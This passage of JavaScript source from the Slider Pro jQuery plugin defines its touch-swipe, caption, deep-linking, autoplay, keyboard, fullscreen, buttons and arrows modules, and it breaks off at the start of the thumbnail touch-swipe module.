				this.gotoSlide = this.fadeGotoSlideReference;
			}
		},

		fadeDefaults: {

			// Indicates if fade will be used
			fade: false,

			// Indicates if the previous slide will be faded out (in addition to the next slide being faded in)
			fadeOutPreviousSlide: true,

			// Sets the duration of the fade effect
			fadeDuration: 500
		}
	};

	$.SliderPro.addModule( 'Fade', Fade );

})( window, jQuery );

// Touch Swipe module for Slider Pro.
// 
// Adds touch-swipe functionality for slides.
;(function( window, $ ) {

	"use strict";
	
	var NS = 'TouchSwipe.' + $.SliderPro.namespace;

	var TouchSwipe = {

		// The x and y coordinates of the pointer/finger's starting position
		touchStartPoint: {x: 0, y: 0},

		// The x and y coordinates of the pointer/finger's end position
		touchEndPoint: {x: 0, y: 0},

		// The distance from the starting to the end position on the x and y axis
		touchDistance: {x: 0, y: 0},

		// The position of the slides when the touch swipe starts
		touchStartPosition: 0,

		// Indicates if the slides are being swiped
		isTouchMoving: false,

		// Stores the names of the events
		touchSwipeEvents: { startEvent: '', moveEvent: '', endEvent: '' },

		// Indicates if scrolling (the page) in the opposite direction of the
		// slides' layout is allowed. This is used to block vertical (or horizontal)
		// scrolling when the user is scrolling through the slides.
		allowOppositeScrolling: true,

		// Indicates whether the previous 'start' event was a 'touchstart' or 'mousedown'
		previousStartEvent: '',

		initTouchSwipe: function() {
			var that = this;

			// check if touch swipe is enabled
			if ( this.settings.touchSwipe === false ) {
				return;
			}

			this.touchSwipeEvents.startEvent = 'touchstart' + '.' + NS + ' mousedown' + '.' + NS;
			this.touchSwipeEvents.moveEvent = 'touchmove' + '.' + NS + ' mousemove' + '.' + NS;
			this.touchSwipeEvents.endEvent = 'touchend' + '.' + this.uniqueId + '.' + NS + ' mouseup' + '.' + this.uniqueId + '.' + NS;

			// Listen for touch swipe/mouse move events
			this.$slidesMask.on( this.touchSwipeEvents.startEvent, $.proxy( this._onTouchStart, this ) );
			this.$slidesMask.on( 'dragstart.' + NS, function( event ) {
				event.preventDefault();
			});

			// Prevent 'click' events unless there is intention for a 'click'
			this.$slidesMask.find( 'a' ).on( 'click.' + NS, function( event ) {
				if ( that.$slider.hasClass( 'sp-swiping' ) ) {
					event.preventDefault();
				}
			});

			// Add the grabbing icon
			this.$slidesMask.addClass( 'sp-grab' );
		},

		// Called when the slides starts being dragged
		_onTouchStart: function( event ) {

			// Return if a 'mousedown' event follows a 'touchstart' event
			if ( event.type === 'mousedown' && this.previousStartEvent === 'touchstart' ) {
				this.previousStartEvent = event.type;
				return;
			}

			// Assign the new 'start' event
			this.previousStartEvent = event.type;

			// Disable dragging if the element is set to allow selections
			if ( $( event.target ).closest( '.sp-selectable' ).length >= 1 ) {
				return;
			}

			var that = this,
				eventObject = typeof event.originalEvent.touches !== 'undefined' ? event.originalEvent.touches[0] : event.originalEvent;

			// Get the initial position of the mouse pointer and the initial position
			// of the slides' container
			this.touchStartPoint.x = eventObject.pageX || eventObject.clientX;
			this.touchStartPoint.y = eventObject.pageY || eventObject.clientY;
			this.touchStartPosition = this.slidesPosition;

			// Clear the previous distance values
			this.touchDistance.x = this.touchDistance.y = 0;

			// If the slides are being grabbed while they're still animating, stop the
			// current movement
			if ( this.$slides.hasClass( 'sp-animated' ) ) {
				this.isTouchMoving = true;
				this._stopMovement();
				this.touchStartPosition = this.slidesPosition;
			}

			// Listen for move and end events
			this.$slidesMask.on( this.touchSwipeEvents.moveEvent, $.proxy( this._onTouchMove, this ) );
			$( document ).on( this.touchSwipeEvents.endEvent, $.proxy( this._onTouchEnd, this ) );

			// Swap grabbing icons
			this.$slidesMask.removeClass( 'sp-grab' ).addClass( 'sp-grabbing' );
		},

		// Called during the slides' dragging
		_onTouchMove: function( event ) {
			var eventObject = typeof event.originalEvent.touches !== 'undefined' ? event.originalEvent.touches[0] : event.originalEvent;

			// Indicate that the move event is being fired
			this.isTouchMoving = true;

			// Add 'sp-swiping' class to indicate that the slides are being swiped
			if ( this.$slider.hasClass( 'sp-swiping' ) === false ) {
				this.$slider.addClass( 'sp-swiping' );
			}

			// Get the current position of the mouse pointer
			this.touchEndPoint.x = eventObject.pageX || eventObject.clientX;
			this.touchEndPoint.y = eventObject.pageY || eventObject.clientY;

			// Calculate the distance of the movement on both axis
			this.touchDistance.x = this.touchEndPoint.x - this.touchStartPoint.x;
			this.touchDistance.y = this.touchEndPoint.y - this.touchStartPoint.y;
			
			// Calculate the distance of the swipe that takes place in the same direction as the orientation of the slides
			// and calculate the distance from the opposite direction.
			// 
			// For a swipe to be valid there should more distance in the same direction as the orientation of the slides.
			var distance = this.settings.orientation === 'horizontal' ? this.touchDistance.x : this.touchDistance.y,
				oppositeDistance = this.settings.orientation === 'horizontal' ? this.touchDistance.y : this.touchDistance.x;

			// If the movement is in the same direction as the orientation of the slides, the swipe is valid
			// and opposite scrolling will not be allowed.
			if ( Math.abs( distance ) > Math.abs( oppositeDistance ) ) {
				this.allowOppositeScrolling = false;
			}

			// If opposite scrolling is still allowed, the swipe wasn't valid, so return.
			if ( this.allowOppositeScrolling === true ) {
				return;
			}
			
			// Don't allow opposite scrolling
			event.preventDefault();

			if ( this.settings.loop === false ) {
				// Make the slides move slower if they're dragged outside its bounds
				if ( ( this.slidesPosition > this.touchStartPosition && this.selectedSlideIndex === 0 ) ||
					( this.slidesPosition < this.touchStartPosition && this.selectedSlideIndex === this.getTotalSlides() - 1 )
				) {
					distance = distance * 0.2;
				}
			}

			this._moveTo( this.touchStartPosition + distance, true );
		},

		// Called when the slides are released
		_onTouchEnd: function( event ) {
			var that = this,
				touchDistance = this.settings.orientation === 'horizontal' ? this.touchDistance.x : this.touchDistance.y;

			// Remove the 'move' and 'end' listeners
			this.$slidesMask.off( this.touchSwipeEvents.moveEvent );
			$( document ).off( this.touchSwipeEvents.endEvent );

			this.allowOppositeScrolling = true;

			// Swap grabbing icons
			this.$slidesMask.removeClass( 'sp-grabbing' ).addClass( 'sp-grab' );

			// Remove the 'sp-swiping' class with a delay, to allow
			// other event listeners (i.e. click) to check the existance
			// of the swipe event.
			if ( this.$slider.hasClass( 'sp-swiping' ) ) {
				setTimeout(function() {
					that.$slider.removeClass( 'sp-swiping' );
				}, 100 );
			}

			// Return if the slides didn't move
			if ( this.isTouchMoving === false ) {
				return;
			}

			this.isTouchMoving = false;

			// Calculate the old position of the slides in order to return to it if the swipe
			// is below the threshold
			var selectedSlideOffset = this.settings.centerSelectedSlide === true && this.settings.visibleSize !== 'auto' ? Math.round( ( parseInt( this.$slidesMask.css( this.sizeProperty ), 10 ) - this.getSlideAt( this.selectedSlideIndex ).getSize()[ this.sizeProperty ] ) / 2 ) : 0,
				oldSlidesPosition = - parseInt( this.$slides.find( '.sp-slide' ).eq( this.selectedSlideIndex ).css( this.positionProperty ), 10 ) + selectedSlideOffset;

			if ( Math.abs( touchDistance ) < this.settings.touchSwipeThreshold ) {
				this._moveTo( oldSlidesPosition );
			} else {
				
				// Calculate by how many slides the slides container has moved
				var	slideArrayDistance = ( this.settings.rightToLeft === true && this.settings.orientation === 'horizontal' ? -1 : 1 ) * touchDistance / ( this.averageSlideSize + this.settings.slideDistance );

				// Floor the obtained value and add or subtract 1, depending on the direction of the swipe
				slideArrayDistance = parseInt( slideArrayDistance, 10 ) + ( slideArrayDistance > 0 ? 1 : - 1 );

				// Get the index of the currently selected slide and subtract the position index in order to obtain
				// the new index of the selected slide. 
				var nextSlideIndex = this.slidesOrder[ $.inArray( this.selectedSlideIndex, this.slidesOrder ) - slideArrayDistance ];

				if ( this.settings.loop === true ) {
					this.gotoSlide( nextSlideIndex );
				} else {
					if ( typeof nextSlideIndex !== 'undefined' ) {
						this.gotoSlide( nextSlideIndex );
					} else {
						this._moveTo( oldSlidesPosition );
					}
				}
			}
		},

		// Destroy the module
		destroyTouchSwipe: function() {
			this.$slidesMask.off( 'dragstart.' + NS );
			this.$slidesMask.find( 'a' ).off( 'click.' + NS );

			this.$slidesMask.off( this.touchSwipeEvents.startEvent );
			this.$slidesMask.off( this.touchSwipeEvents.moveEvent );
			$( document ).off( this.touchSwipeEvents.endEvent );
			
			this.$slidesMask.removeClass( 'sp-grab' );
		},

		touchSwipeDefaults: {
			
			// Indicates whether the touch swipe will be enabled
			touchSwipe: true,

			// Sets the minimum amount that the slides should move
			touchSwipeThreshold: 50
		}
	};

	$.SliderPro.addModule( 'TouchSwipe', TouchSwipe );
	
})( window, jQuery );

// Caption module for Slider Pro.
// 
// Adds a corresponding caption for each slide. The caption
// will appear and disappear with the slide.
;(function( window, $ ) {

	"use strict";
	
	var NS = 'Caption.' + $.SliderPro.namespace;

	var Caption = {

		// Reference to the container element that will hold the caption
		$captionContainer: null,

		// The caption content/text
		captionContent: '',

		initCaption: function() {
			this.on( 'update.' + NS, $.proxy( this._captionOnUpdate, this ) );
			this.on( 'gotoSlide.' + NS, $.proxy( this._updateCaptionContent, this ) );
		},

		// Create the caption container and hide the captions inside the slides
		_captionOnUpdate: function() {
			this.$captionContainer = this.$slider.find( '.sp-caption-container' );

			if ( this.$slider.find( '.sp-caption' ).length && this.$captionContainer.length === 0 ) {
				this.$captionContainer = $( '<div class="sp-caption-container"></div>' ).appendTo( this.$slider );

				// Show the caption for the selected slide
				this._updateCaptionContent();
			}

			// Hide the captions inside the slides
			this.$slides.find( '.sp-caption' ).each(function() {
				$( this ).css( 'display', 'none' );
			});
		},

		// Show the caption content for the selected slide
		_updateCaptionContent: function() {
			var that = this,
				newCaptionField = this.$slider.find( '.sp-slide' ).eq( this.selectedSlideIndex ).find( '.sp-caption' ),
				newCaptionContent = newCaptionField.length !== 0 ? newCaptionField.html() : '';

			// Either use a fade effect for swapping the captions or use an instant change
			if ( this.settings.fadeCaption === true ) {
				
				// If the previous slide had a caption, fade out that caption first and when the animation is over
				// fade in the current caption.
				// If the previous slide didn't have a caption, fade in the current caption directly.
				if ( this.captionContent !== '' ) {

					// If the caption container has 0 opacity when the fade out transition starts, set it
					// to 1 because the transition wouldn't work if the initial and final values are the same,
					// and the callback functions wouldn't fire in this case.
					if ( parseFloat( this.$captionContainer.css( 'opacity' ), 10 ) === 0 ) {
						this.$captionContainer.css( this.vendorPrefix + 'transition', '' );
						this.$captionContainer.css( 'opacity', 1 );
					}

					this._fadeCaptionTo( 0, function() {
						that.captionContent = newCaptionContent;

						if ( newCaptionContent !== '' ) {
							that.$captionContainer.html( that.captionContent );
							that._fadeCaptionTo( 1 );
						} else {
							that.$captionContainer.empty();
						}
					});
				} else {
					this.captionContent = newCaptionContent;
					this.$captionContainer.html( this.captionContent );
					this.$captionContainer.css( 'opacity', 0 );
					this._fadeCaptionTo( 1 );
				}
			} else {
				this.captionContent = newCaptionContent;
				this.$captionContainer.html( this.captionContent );
			}
		},

		// Fade the caption container to the specified opacity
		_fadeCaptionTo: function( opacity, callback ) {
			var that = this;

			// Use CSS transitions if they are supported. If not, use JavaScript animation.
			if ( this.supportedAnimation === 'css-3d' || this.supportedAnimation === 'css-2d' ) {
				
				// There needs to be a delay between the moment the opacity is set
				// and the moment the transitions starts.
				setTimeout(function(){
					var css = { 'opacity': opacity };
					css[ that.vendorPrefix + 'transition' ] = 'opacity ' + that.settings.captionFadeDuration / 1000 + 's';
					that.$captionContainer.css( css );
				}, 1 );

				this.$captionContainer.on( this.transitionEvent, function( event ) {
					if ( event.target !== event.currentTarget ) {
						return;
					}

					that.$captionContainer.off( that.transitionEvent );
					that.$captionContainer.css( that.vendorPrefix + 'transition', '' );

					if ( typeof callback === 'function' ) {
						callback();
					}
				});
			} else {
				this.$captionContainer.stop().animate({ 'opacity': opacity }, this.settings.captionFadeDuration, function() {
					if ( typeof callback === 'function' ) {
						callback();
					}
				});
			}
		},

		// Destroy the module
		destroyCaption: function() {
			this.off( 'update.' + NS );
			this.off( 'gotoSlide.' + NS );

			this.$captionContainer.remove();

			this.$slider.find( '.sp-caption' ).each(function() {
				$( this ).css( 'display', '' );
			});
		},

		captionDefaults: {

			// Indicates whether or not the captions will be faded
			fadeCaption: true,

			// Sets the duration of the fade animation
			captionFadeDuration: 500
		}
	};

	$.SliderPro.addModule( 'Caption', Caption );
	
})( window, jQuery );

// Deep Linking module for Slider Pro.
// 
// Updates the hash of the URL as the user navigates through the slides.
// Also, allows navigating to a specific slide by indicating it in the hash.
;(function( window, $ ) {

	"use strict";

	var NS = 'DeepLinking.' + $.SliderPro.namespace;

	var DeepLinking = {

		initDeepLinking: function() {
			var that = this;

			// Parse the initial hash
			this.on( 'init.' + NS, function() {
				that._gotoHash( window.location.hash );
			});

			// Update the hash when a new slide is selected
			this.on( 'gotoSlide.' + NS, function( event ) {
				if ( that.settings.updateHash === true ) {

					// get the 'id' attribute of the slide
					var slideId = that.$slider.find( '.sp-slide' ).eq( event.index ).attr( 'id' );

					// if the slide doesn't have an 'id' attribute, use the slide index
					if ( typeof slideId === 'undefined' ) {
						slideId = event.index;
					}

					window.location.hash = that.$slider.attr( 'id' ) + '/' + slideId;
				}
			});

			// Check when the hash changes and navigate to the indicated slide
			$( window ).on( 'hashchange.' + this.uniqueId + '.' + NS, function() {
				that._gotoHash( window.location.hash );
			});
		},

		// Parse the hash and return the slider id and the slide id
		_parseHash: function( hash ) {
			if ( hash !== '' ) {
				// Eliminate the # symbol
				hash = hash.substring(1);

				// Get the specified slider id and slide id
				var values = hash.split( '/' ),
					slideId = values.pop(),
					sliderId = hash.slice( 0, - slideId.toString().length - 1 );

				if ( this.$slider.attr( 'id' ) === sliderId ) {
					return { 'sliderID': sliderId, 'slideId': slideId };
				}
			}

			return false;
		},

		// Navigate to the appropriate slide, based on the specified hash
		_gotoHash: function( hash ) {
			var result = this._parseHash( hash );

			if ( result === false ) {
				return;
			}

			var slideId = result.slideId,
				slideIdNumber = parseInt( slideId, 10 );

			// check if the specified slide id is a number or string
			if ( isNaN( slideIdNumber ) ) {
				// get the index of the slide based on the specified id
				var slideIndex = this.$slider.find( '.sp-slide#' + slideId ).index();

				if ( slideIndex !== -1 && slideIndex !== this.selectedSlideIndex ) {
					this.gotoSlide( slideIndex );
				}
			} else if ( slideIdNumber !== this.selectedSlideIndex ) {
				this.gotoSlide( slideIdNumber );
			}
		},

		// Destroy the module
		destroyDeepLinking: function() {
			this.off( 'init.' + NS );
			this.off( 'gotoSlide.' + NS );
			$( window ).off( 'hashchange.' + this.uniqueId + '.' + NS );
		},

		deepLinkingDefaults: {

			// Indicates whether the hash will be updated when a new slide is selected
			updateHash: false
		}
	};

	$.SliderPro.addModule( 'DeepLinking', DeepLinking );
	
})( window, jQuery );

// Autoplay module for Slider Pro.
// 
// Adds automatic navigation through the slides by calling the
// 'nextSlide' or 'previousSlide' methods at certain time intervals.
;(function( window, $ ) {

	"use strict";
	
	var NS = 'Autoplay.' + $.SliderPro.namespace;

	var Autoplay = {

		autoplayTimer: null,

		isTimerRunning: false,

		isTimerPaused: false,

		initAutoplay: function() {
			this.on( 'update.' + NS, $.proxy( this._autoplayOnUpdate, this ) );
		},

		// Start the autoplay if it's enabled, or stop it if it's disabled but running 
		_autoplayOnUpdate: function( event ) {
			if ( this.settings.autoplay === true ) {
				this.on( 'gotoSlide.' + NS, $.proxy( this._autoplayOnGotoSlide, this ) );
				this.on( 'mouseenter.' + NS, $.proxy( this._autoplayOnMouseEnter, this ) );
				this.on( 'mouseleave.' + NS, $.proxy( this._autoplayOnMouseLeave, this ) );

				this.startAutoplay();
			} else {
				this.off( 'gotoSlide.' + NS );
				this.off( 'mouseenter.' + NS );
				this.off( 'mouseleave.' + NS );

				this.stopAutoplay();
			}
		},

		// Restart the autoplay timer when a new slide is selected
		_autoplayOnGotoSlide: function( event ) {
			// stop previous timers before starting a new one
			if ( this.isTimerRunning === true ) {
				this.stopAutoplay();
			}
			
			if ( this.isTimerPaused === false ) {
				this.startAutoplay();
			}
		},

		// Pause the autoplay when the slider is hovered
		_autoplayOnMouseEnter: function( event ) {
			if ( this.isTimerRunning && ( this.settings.autoplayOnHover === 'pause' || this.settings.autoplayOnHover === 'stop' ) ) {
				this.stopAutoplay();
				this.isTimerPaused = true;
			}
		},

		// Start the autoplay when the mouse moves away from the slider
		_autoplayOnMouseLeave: function( event ) {
			if ( this.settings.autoplay === true && this.isTimerRunning === false && this.settings.autoplayOnHover !== 'stop' ) {
				this.startAutoplay();
				this.isTimerPaused = false;
			}
		},

		// Starts the autoplay
		startAutoplay: function() {
			var that = this;
			
			this.isTimerRunning = true;

			this.autoplayTimer = setTimeout(function() {
				if ( that.settings.autoplayDirection === 'normal' ) {
					that.nextSlide();
				} else if ( that.settings.autoplayDirection === 'backwards' ) {
					that.previousSlide();
				}
			}, this.settings.autoplayDelay );
		},

		// Stops the autoplay
		stopAutoplay: function() {
			this.isTimerRunning = false;
			this.isTimerPaused = false;

			clearTimeout( this.autoplayTimer );
		},

		// Destroy the module
		destroyAutoplay: function() {
			clearTimeout( this.autoplayTimer );

			this.off( 'update.' + NS );
			this.off( 'gotoSlide.' + NS );
			this.off( 'mouseenter.' + NS );
			this.off( 'mouseleave.' + NS );
		},

		autoplayDefaults: {
			// Indicates whether or not autoplay will be enabled
			autoplay: true,

			// Sets the delay/interval at which the autoplay will run
			autoplayDelay: 5000,

			// Indicates whether autoplay will navigate to the next slide or previous slide
			autoplayDirection: 'normal',

			// Indicates if the autoplay will be paused or stopped when the slider is hovered.
			// Possible values are 'pause', 'stop' or 'none'.
			autoplayOnHover: 'pause'
		}
	};

	$.SliderPro.addModule( 'Autoplay', Autoplay );
	
})(window, jQuery);

// Keyboard module for Slider Pro.
// 
// Adds the possibility to navigate through slides using the keyboard arrow keys, or
// open the link attached to the main slide image by using the Enter key.
;(function( window, $ ) {

	"use strict";
	
	var NS = 'Keyboard.' + $.SliderPro.namespace;

	var Keyboard = {

		initKeyboard: function() {
			var that = this,
				hasFocus = false;

			if ( this.settings.keyboard === false ) {
				return;
			}

			// Detect when the slide is in focus and when it's not, and, optionally, make it
			// responsive to keyboard input only when it's in focus
			this.$slider.on( 'focus.' + NS, function() {
				hasFocus = true;
			});

			this.$slider.on( 'blur.' + NS, function() {
				hasFocus = false;
			});

			$( document ).on( 'keydown.' + this.uniqueId + '.' + NS, function( event ) {
				if ( that.settings.keyboardOnlyOnFocus === true && hasFocus === false ) {
					return;
				}

				// If the left arrow key is pressed, go to the previous slide.
				// If the right arrow key is pressed, go to the next slide.
				// If the Enter key is pressed, open the link attached to the main slide image.
				if ( event.which === 37 ) {
					that.previousSlide();
				} else if ( event.which === 39 ) {
					that.nextSlide();
				} else if ( event.which === 13 ) {
					var link = that.$slider.find( '.sp-slide' ).eq( that.selectedSlideIndex ).find( '.sp-image-container a' );
					
					if ( link.length !== 0 ) {
						link[0].click();
					}
				}
			});
		},

		// Destroy the module
		destroyKeyboard: function() {
			this.$slider.off( 'focus.' + NS );
			this.$slider.off( 'blur.' + NS );
			$( document ).off( 'keydown.' + this.uniqueId + '.' + NS );
		},

		keyboardDefaults: {

			// Indicates whether keyboard navigation will be enabled
			keyboard: true,

			// Indicates whether the slider will respond to keyboard input only when
			// the slider is in focus.
			keyboardOnlyOnFocus: false
		}
	};

	$.SliderPro.addModule( 'Keyboard', Keyboard );
	
})( window, jQuery );

// Full Screen module for Slider Pro.
// 
// Adds the possibility to open the slider full-screen, using the HTML5 FullScreen API.
;(function( window, $ ) {

	"use strict";

	var NS = 'FullScreen.' + $.SliderPro.namespace;

	var FullScreen = {

		// Indicates whether the slider is currently in full-screen mode
		isFullScreen: false,

		// Reference to the full-screen button
		$fullScreenButton: null,

		// Reference to a set of settings that influence the slider's size
		// before it goes full-screen
		sizeBeforeFullScreen: {},

		initFullScreen: function() {
			if ( ! ( document.fullscreenEnabled ||
				document.webkitFullscreenEnabled ||
				document.mozFullScreenEnabled ||
				document.msFullscreenEnabled ) ) {
				return;
			}
		
			this.on( 'update.' + NS, $.proxy( this._fullScreenOnUpdate, this ) );
		},

		// Create or remove the full-screen button depending on the value of the 'fullScreen' option
		_fullScreenOnUpdate: function() {
			if ( this.settings.fullScreen === true && this.$fullScreenButton === null ) {
				this._addFullScreen();
			} else if ( this.settings.fullScreen === false && this.$fullScreenButton !== null ) {
				this._removeFullScreen();
			}

			if ( this.settings.fullScreen === true ) {
				if ( this.settings.fadeFullScreen === true ) {
					this.$fullScreenButton.addClass( 'sp-fade-full-screen' );
				} else if ( this.settings.fadeFullScreen === false ) {
					this.$fullScreenButton.removeClass( 'sp-fade-full-screen' );
				}
			}
		},

		// Create the full-screen button
		_addFullScreen: function() {
			this.$fullScreenButton = $('<div class="sp-full-screen-button"></div>').appendTo( this.$slider );
			this.$fullScreenButton.on( 'click.' + NS, $.proxy( this._onFullScreenButtonClick, this ) );

			document.addEventListener( 'fullscreenchange', $.proxy( this._onFullScreenChange, this ) );
			document.addEventListener( 'mozfullscreenchange', $.proxy( this._onFullScreenChange, this ) );
			document.addEventListener( 'webkitfullscreenchange', $.proxy( this._onFullScreenChange, this ) );
			document.addEventListener( 'MSFullscreenChange', $.proxy( this._onFullScreenChange, this ) );
		},

		// Remove the full-screen button
		_removeFullScreen: function() {
			if ( this.$fullScreenButton !== null ) {
				this.$fullScreenButton.off( 'click.' + NS );
				this.$fullScreenButton.remove();
				this.$fullScreenButton = null;
				document.removeEventListener( 'fullscreenchange', this._onFullScreenChange );
				document.removeEventListener( 'mozfullscreenchange', this._onFullScreenChange );
				document.removeEventListener( 'webkitfullscreenchange', this._onFullScreenChange );
				document.removeEventListener( 'MSFullscreenChange', this._onFullScreenChange );
			}
		},

		// When the full-screen button is clicked, put the slider into full-screen mode, and
		// take it out of the full-screen mode when it's clicked again.
		_onFullScreenButtonClick: function() {
			if ( this.isFullScreen === false ) {
				if ( this.instance.requestFullScreen ) {
					this.instance.requestFullScreen();
				} else if ( this.instance.mozRequestFullScreen ) {
					this.instance.mozRequestFullScreen();
				} else if ( this.instance.webkitRequestFullScreen ) {
					this.instance.webkitRequestFullScreen();
				} else if ( this.instance.msRequestFullscreen ) {
					this.instance.msRequestFullscreen();
				}
			} else {
				if ( document.exitFullScreen ) {
					document.exitFullScreen();
				} else if ( document.mozCancelFullScreen ) {
					document.mozCancelFullScreen();
				} else if ( document.webkitCancelFullScreen ) {
					document.webkitCancelFullScreen();
				} else if ( document.msExitFullscreen ) {
					document.msExitFullscreen();
				}
			}
		},

		// This will be called whenever the full-screen mode changes.
		// If the slider is in full-screen mode, set it to 'full window', and if it's
		// not in full-screen mode anymore, set it back to the original size.
		_onFullScreenChange: function() {
			this.isFullScreen = document.fullscreenElement || document.webkitFullscreenElement || document.mozFullScreenElement || document.msFullscreenElement ? true : false;

			if ( this.isFullScreen === true ) {
				this.sizeBeforeFullScreen = { forceSize: this.settings.forceSize, autoHeight: this.settings.autoHeight };
				this.$slider.addClass( 'sp-full-screen' );
				this.settings.forceSize = 'fullWindow';
				this.settings.autoHeight = false;
			} else {
				this.$slider.css( 'margin', '' );
				this.$slider.removeClass( 'sp-full-screen' );
				this.settings.forceSize = this.sizeBeforeFullScreen.forceSize;
				this.settings.autoHeight = this.sizeBeforeFullScreen.autoHeight;
			}

			this.resize();
		},

		// Destroy the module
		destroyFullScreen: function() {
			this.off( 'update.' + NS );
			this._removeFullScreen();
		},

		fullScreenDefaults: {

			// Indicates whether the full-screen button is enabled
			fullScreen: false,

			// Indicates whether the button will fade in only on hover
			fadeFullScreen: true
		}
	};

	$.SliderPro.addModule( 'FullScreen', FullScreen );

})( window, jQuery );

// Buttons module for Slider Pro.
// 
// Adds navigation buttons at the bottom of the slider.
;(function( window, $ ) {

	"use strict";
	
	var NS = 'Buttons.' + $.SliderPro.namespace;

	var Buttons = {

		// Reference to the buttons container
		$buttons: null,

		initButtons: function() {
			this.on( 'update.' + NS, $.proxy( this._buttonsOnUpdate, this ) );
		},

		_buttonsOnUpdate: function() {
			this.$buttons = this.$slider.find('.sp-buttons');
			
			// If there is more that one slide but the buttons weren't created yet, create the buttons.
			// If the buttons were created but their number differs from the total number of slides, re-create the buttons.
			// If the buttons were created but there are less than one slide, remove the buttons.s
			if ( this.settings.buttons === true && this.getTotalSlides() > 1 && this.$buttons.length === 0 ) {
				this._createButtons();
			} else if ( this.settings.buttons === true && this.getTotalSlides() !== this.$buttons.find( '.sp-button' ).length && this.$buttons.length !== 0 ) {
				this._adjustButtons();
			} else if ( this.settings.buttons === false || ( this.getTotalSlides() <= 1 && this.$buttons.length !== 0 ) ) {
				this._removeButtons();
			}
		},

		// Create the buttons
		_createButtons: function() {
			var that = this;

			// Create the buttons' container
			this.$buttons = $( '<div class="sp-buttons"></div>' ).appendTo( this.$slider );

			// Create the buttons
			for ( var i = 0; i < this.getTotalSlides(); i++ ) {
				$( '<div class="sp-button"></div>' ).appendTo( this.$buttons );
			}

			// Listen for button clicks 
			this.$buttons.on( 'click.' + NS, '.sp-button', function() {
				that.gotoSlide( $( this ).index() );
			});

			// Set the initially selected button
			this.$buttons.find( '.sp-button' ).eq( this.selectedSlideIndex ).addClass( 'sp-selected-button' );

			// Select the corresponding button when the slide changes
			this.on( 'gotoSlide.' + NS, function( event ) {
				that.$buttons.find( '.sp-selected-button' ).removeClass( 'sp-selected-button' );
				that.$buttons.find( '.sp-button' ).eq( event.index ).addClass( 'sp-selected-button' );
			});

			// Indicate that the slider has buttons 
			this.$slider.addClass( 'sp-has-buttons' );
		},

		// Re-create the buttons. This is calles when the number of slides changes.
		_adjustButtons: function() {
			this.$buttons.empty();

			// Create the buttons
			for ( var i = 0; i < this.getTotalSlides(); i++ ) {
				$( '<div class="sp-button"></div>' ).appendTo( this.$buttons );
			}

			// Change the selected the buttons
			this.$buttons.find( '.sp-selected-button' ).removeClass( 'sp-selected-button' );
			this.$buttons.find( '.sp-button' ).eq( this.selectedSlideIndex ).addClass( 'sp-selected-button' );
		},

		// Remove the buttons
		_removeButtons: function() {
			this.$buttons.off( 'click.' + NS, '.sp-button' );
			this.off( 'gotoSlide.' + NS );
			this.$buttons.remove();
			this.$slider.removeClass( 'sp-has-buttons' );
		},

		destroyButtons: function() {
			this._removeButtons();
			this.off( 'update.' + NS );
		},

		buttonsDefaults: {
			
			// Indicates whether the buttons will be created
			buttons: true
		}
	};

	$.SliderPro.addModule( 'Buttons', Buttons );

})( window, jQuery );

// Arrows module for Slider Pro.
// 
// Adds arrows for navigating to the next or previous slide.
;(function( window, $ ) {

	"use strict";

	var NS = 'Arrows.' + $.SliderPro.namespace;

	var Arrows = {

		// Reference to the arrows container
		$arrows: null,

		// Reference to the previous arrow
		$previousArrow: null,

		// Reference to the next arrow
		$nextArrow: null,

		initArrows: function() {
			this.on( 'update.' + NS, $.proxy( this._arrowsOnUpdate, this ) );
			this.on( 'gotoSlide.' + NS, $.proxy( this._checkArrowsVisibility, this ) );
		},

		_arrowsOnUpdate: function() {
			var that = this;

			// Create the arrows if the 'arrows' option is set to true
			if ( this.settings.arrows === true && this.$arrows === null ) {
				this.$arrows = $( '<div class="sp-arrows"></div>' ).appendTo( this.$slidesContainer );
				
				this.$previousArrow = $( '<div class="sp-arrow sp-previous-arrow"></div>' ).appendTo( this.$arrows );
				this.$nextArrow = $( '<div class="sp-arrow sp-next-arrow"></div>' ).appendTo( this.$arrows );

				this.$previousArrow.on( 'click.' + NS, function() {
					that.previousSlide();
				});

				this.$nextArrow.on( 'click.' + NS, function() {
					that.nextSlide();
				});

				this._checkArrowsVisibility();
			} else if ( this.settings.arrows === false && this.$arrows !== null ) {
				this._removeArrows();
			}

			if ( this.settings.arrows === true ) {
				if ( this.settings.fadeArrows === true ) {
					this.$arrows.addClass( 'sp-fade-arrows' );
				} else if ( this.settings.fadeArrows === false ) {
					this.$arrows.removeClass( 'sp-fade-arrows' );
				}
			}
		},

		// Show or hide the arrows depending on the position of the selected slide
		_checkArrowsVisibility: function() {
			if ( this.settings.arrows === false || this.settings.loop === true ) {
				return;
			}

			if ( this.selectedSlideIndex === 0 ) {
				this.$previousArrow.css( 'display', 'none' );
			} else {
				this.$previousArrow.css( 'display', 'block' );
			}

			if ( this.selectedSlideIndex === this.getTotalSlides() - 1 ) {
				this.$nextArrow.css( 'display', 'none' );
			} else {
				this.$nextArrow.css( 'display', 'block' );
			}
		},
		
		_removeArrows: function() {
			if ( this.$arrows !== null ) {
				this.$previousArrow.off( 'click.' + NS );
				this.$nextArrow.off( 'click.' + NS );
				this.$arrows.remove();
				this.$arrows = null;
			}
		},

		destroyArrows: function() {
			this._removeArrows();
			this.off( 'update.' + NS );
			this.off( 'gotoSlide.' + NS );
		},

		arrowsDefaults: {

			// Indicates whether the arrow buttons will be created
			arrows: false,

			// Indicates whether the arrows will fade in only on hover
			fadeArrows: true
		}
	};

	$.SliderPro.addModule( 'Arrows', Arrows );

})( window, jQuery );

// Thumbnail Touch Swipe module for Slider Pro.
// 
// Adds touch-swipe functionality for thumbnails.
;(function( window, $ ) {

	"use strict";
	
	var NS = 'ThumbnailTouchSwipe.' + $.SliderPro.namespace;

	var ThumbnailTouchSwipe = {

		// The x and y coordinates of the pointer/finger's starting position
		thumbnailTouchStartPoint: { x: 0, y: 0 },

		// The x and y coordinates of the pointer/finger's end position
		thumbnailTouchEndPoint: { x: 0, y: 0 },

		// The distance from the starting to the end position on the x and y axis
		thumbnailTouchDistance: { x: 0, y: 0 },

		// The position of the thumbnail scroller when the touch swipe starts
		thumbnailTouchStartPosition: 0,

		// Indicates if the thumbnail scroller is being swiped
		isThumbnailTouchMoving: false,

		// Indicates if the touch swipe was initialized
		isThumbnailTouchSwipe: false,

		// Stores the names of the events
		thumbnailTouchSwipeEvents: { startEvent: '', moveEvent: '', endEvent: '' },

		// Indicates whether the previous 'start' event was a 'touchstart' or 'mousedown'
		thumbnailPreviousStartEvent: '',

		initThumbnailTouchSwipe: function() {
